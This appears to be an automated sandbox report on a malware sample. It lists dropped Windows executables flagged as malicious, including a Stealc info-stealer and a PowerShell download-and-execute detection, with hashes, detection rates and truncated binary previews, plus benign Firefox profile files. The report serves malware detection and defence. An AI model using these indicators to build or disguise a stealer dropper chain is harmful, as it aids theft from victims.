SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TW:oqDEvCTbMWu7rQYlBQcBiT6rprG8abW
MD5:	5ED9138AF4A937507DFDA5A5729F17BE
SHA1:	1603117DF867966D801FE383BF4AA7900BAAFD4C
SHA-256:	FE06B06A0A7F9CAD8666B750D75D85C546737D2E030CE22E303FC7644F9B55D9
SHA-512:	50B8F4A63BDE02C6B7259A7777C2DA64A547FBE9179235221BB38532EF369408BC19014C532B307F59DA0E1D8DA0CCFD41DB9DB3481A98AF92E821E673C58614
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...j..g.........."..........X......w.............@..........................`.......=....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001105001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947718581848989
Encrypted:	false
SSDEEP:	49152:1WqzDZCuH+cb8/Ql1v581NVNMuIHuApHjL3VifRUiHJZJHW0R:1/Hh8/q1i1KppDbVifRUiHJZJHV
MD5:	14A1F90B21FFB33B230A55A35C92F699
SHA1:	8DA19F2127AB0EA47C3A98917C574770D0393427
SHA-256:	A53615E5CD9C8C0EDB2A91D32E7C30B506BDA8A741C525E33CDBBB06AAD27565
SHA-512:	B3974BFACB41052500ECF74411416F9A150C45BCD06E17513C8B7A74F7252617BF320CCF2E728A4915C2FF4C3B3A3A4FE10551795536D51333FBA73D83921314
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j.....gG....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...uolrxmar.P...`P..D...<..............@...whwdztvn......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2742272
Entropy (8bit):	6.512512454707974
Encrypted:	false
SSDEEP:	49152:/viotFGzLMLeWsLmwAY9AIEaEDDr8zhgrVtaNy:/viSGIeWsLmRY9tEaEDDmgrvaNy
MD5:	4B01B088DC9716204A408AD75CCEF360
SHA1:	BEFBDA6B5AA914CB8326470218AF7DF116D5E1EF
SHA-256:	E0895DD5B0AFD0EF81A5B90BB02868D68F23FC41E619D1A7D87BA24B635BD79E
SHA-512:	F1868A9AD764988A3CA7CB6AA524FDAF059F97D014C1771B03ADC155EA5A86A170D159F2CA139F0C01A9D5A7C6EFD0730B9EE41CFC910F2EA1B6D4025800A632
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. .............................%Z...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...vxijesvo..)......x)..:..............@...eoamyyhq. ... .......).............@....taggant.@...@*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2742272
Entropy (8bit):	6.512512454707974
Encrypted:	false
SSDEEP:	49152:/viotFGzLMLeWsLmwAY9AIEaEDDr8zhgrVtaNy:/viSGIeWsLmRY9tEaEDDmgrvaNy
MD5:	4B01B088DC9716204A408AD75CCEF360
SHA1:	BEFBDA6B5AA914CB8326470218AF7DF116D5E1EF
SHA-256:	E0895DD5B0AFD0EF81A5B90BB02868D68F23FC41E619D1A7D87BA24B635BD79E
SHA-512:	F1868A9AD764988A3CA7CB6AA524FDAF059F97D014C1771B03ADC155EA5A86A170D159F2CA139F0C01A9D5A7C6EFD0730B9EE41CFC910F2EA1B6D4025800A632
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. .............................%Z...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...vxijesvo..)......x)..:..............@...eoamyyhq. ... .......).............@....taggant.@...@*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947718581848989
Encrypted:	false
SSDEEP:	49152:1WqzDZCuH+cb8/Ql1v581NVNMuIHuApHjL3VifRUiHJZJHW0R:1/Hh8/q1i1KppDbVifRUiHJZJHV
MD5:	14A1F90B21FFB33B230A55A35C92F699
SHA1:	8DA19F2127AB0EA47C3A98917C574770D0393427
SHA-256:	A53615E5CD9C8C0EDB2A91D32E7C30B506BDA8A741C525E33CDBBB06AAD27565
SHA-512:	B3974BFACB41052500ECF74411416F9A150C45BCD06E17513C8B7A74F7252617BF320CCF2E728A4915C2FF4C3B3A3A4FE10551795536D51333FBA73D83921314
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j.....gG....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...uolrxmar.P...`P..D...<..............@...whwdztvn......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1931264
Entropy (8bit):	7.949325791022353
Encrypted:	false
SSDEEP:	49152:wzYc+GPjmeUDHtdFlgWTTDH1k7BJ8MXT2Tu:IrbmeUD3Xgi1klJ5j2
MD5:	04D82AD1CBB15929E9FF4B3B951227BE
SHA1:	2E8BDE7FDA70E87DCB070998EBB3BFB34CABDF7F
SHA-256:	9DCA717911DBC90316BC890E9CCE79D04A0FC1E5A6789A697E7FBA606862EBC1
SHA-512:	683A74DFE73E952FEFA392C361887E69C2CE343EB9A1A5DACE12D15A0E1D30EF2260CF605EF8B2E2F159204992B621C84732AFD0535D44FB9180060192A95F08
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L...........@.................................W...k...........................$.L..............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...gwmdqjxo.`...02..^..................@...xvafdjqx......L......R..............@....taggant.0....L.."...V..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1931264
Entropy (8bit):	7.949325791022353
Encrypted:	false
SSDEEP:	49152:wzYc+GPjmeUDHtdFlgWTTDH1k7BJ8MXT2Tu:IrbmeUD3Xgi1klJ5j2
MD5:	04D82AD1CBB15929E9FF4B3B951227BE
SHA1:	2E8BDE7FDA70E87DCB070998EBB3BFB34CABDF7F
SHA-256:	9DCA717911DBC90316BC890E9CCE79D04A0FC1E5A6789A697E7FBA606862EBC1
SHA-512:	683A74DFE73E952FEFA392C361887E69C2CE343EB9A1A5DACE12D15A0E1D30EF2260CF605EF8B2E2F159204992B621C84732AFD0535D44FB9180060192A95F08
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L...........@.................................W...k...........................$.L..............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...gwmdqjxo.`...02..^..................@...xvafdjqx......L......R..............@....taggant.0....L.."...V..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947718581848989
Encrypted:	false
SSDEEP:	49152:1WqzDZCuH+cb8/Ql1v581NVNMuIHuApHjL3VifRUiHJZJHW0R:1/Hh8/q1i1KppDbVifRUiHJZJHV
MD5:	14A1F90B21FFB33B230A55A35C92F699
SHA1:	8DA19F2127AB0EA47C3A98917C574770D0393427
SHA-256:	A53615E5CD9C8C0EDB2A91D32E7C30B506BDA8A741C525E33CDBBB06AAD27565
SHA-512:	B3974BFACB41052500ECF74411416F9A150C45BCD06E17513C8B7A74F7252617BF320CCF2E728A4915C2FF4C3B3A3A4FE10551795536D51333FBA73D83921314
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j.....gG....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...uolrxmar.P...`P..D...<..............@...whwdztvn......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QVVPAZNCIISWKSVDLM23B.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2742272
Entropy (8bit):	6.512512454707974
Encrypted:	false
SSDEEP:	49152:/viotFGzLMLeWsLmwAY9AIEaEDDr8zhgrVtaNy:/viSGIeWsLmRY9tEaEDDmgrvaNy
MD5:	4B01B088DC9716204A408AD75CCEF360
SHA1:	BEFBDA6B5AA914CB8326470218AF7DF116D5E1EF
SHA-256:	E0895DD5B0AFD0EF81A5B90BB02868D68F23FC41E619D1A7D87BA24B635BD79E
SHA-512:	F1868A9AD764988A3CA7CB6AA524FDAF059F97D014C1771B03ADC155EA5A86A170D159F2CA139F0C01A9D5A7C6EFD0730B9EE41CFC910F2EA1B6D4025800A632
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. .............................%Z...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...vxijesvo..)......x)..:..............@...eoamyyhq. ... .......).............@....taggant.@...@*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1931264
Entropy (8bit):	7.949325791022353
Encrypted:	false
SSDEEP:	49152:wzYc+GPjmeUDHtdFlgWTTDH1k7BJ8MXT2Tu:IrbmeUD3Xgi1klJ5j2
MD5:	04D82AD1CBB15929E9FF4B3B951227BE
SHA1:	2E8BDE7FDA70E87DCB070998EBB3BFB34CABDF7F
SHA-256:	9DCA717911DBC90316BC890E9CCE79D04A0FC1E5A6789A697E7FBA606862EBC1
SHA-512:	683A74DFE73E952FEFA392C361887E69C2CE343EB9A1A5DACE12D15A0E1D30EF2260CF605EF8B2E2F159204992B621C84732AFD0535D44FB9180060192A95F08
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L...........@.................................W...k...........................$.L..............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...gwmdqjxo.`...02..^..................@...xvafdjqx......L......R..............@....taggant.0....L.."...V..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1931264
Entropy (8bit):	7.949325791022353
Encrypted:	false
SSDEEP:	49152:wzYc+GPjmeUDHtdFlgWTTDH1k7BJ8MXT2Tu:IrbmeUD3Xgi1klJ5j2
MD5:	04D82AD1CBB15929E9FF4B3B951227BE
SHA1:	2E8BDE7FDA70E87DCB070998EBB3BFB34CABDF7F
SHA-256:	9DCA717911DBC90316BC890E9CCE79D04A0FC1E5A6789A697E7FBA606862EBC1
SHA-512:	683A74DFE73E952FEFA392C361887E69C2CE343EB9A1A5DACE12D15A0E1D30EF2260CF605EF8B2E2F159204992B621C84732AFD0535D44FB9180060192A95F08
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L...........@.................................W...k...........................$.L..............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...gwmdqjxo.`...02..^..................@...xvafdjqx......L......R..............@....taggant.0....L.."...V..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.9306427020382575
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsLBg8P:gXiNFS+OcUGOdwiOdwBjkYLBg8P
MD5:	4B840E14434912CB471E1F7CB2A7016E
SHA1:	9C6CA43655C339AB9A62E0C59B63172325436549
SHA-256:	699C6F1674727E4EEF2AD4B85317AD14D533EF1E48213C71FDC056020A54F9FA
SHA-512:	567719886DD466CE38B45854F2F5ED40A63E25146D3C6B0ADD6DA91BD5B300CB2F9FF322E782BC0284F9ABE51964722A26704E2C199F7EDB1B8A8A74A1007630
Malicious:	false
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.9306427020382575
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsLBg8P:gXiNFS+OcUGOdwiOdwBjkYLBg8P
MD5:	4B840E14434912CB471E1F7CB2A7016E
SHA1:	9C6CA43655C339AB9A62E0C59B63172325436549
SHA-256:	699C6F1674727E4EEF2AD4B85317AD14D533EF1E48213C71FDC056020A54F9FA
SHA-512:	567719886DD466CE38B45854F2F5ED40A63E25146D3C6B0ADD6DA91BD5B300CB2F9FF322E782BC0284F9ABE51964722A26704E2C199F7EDB1B8A8A74A1007630
Malicious:	false
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
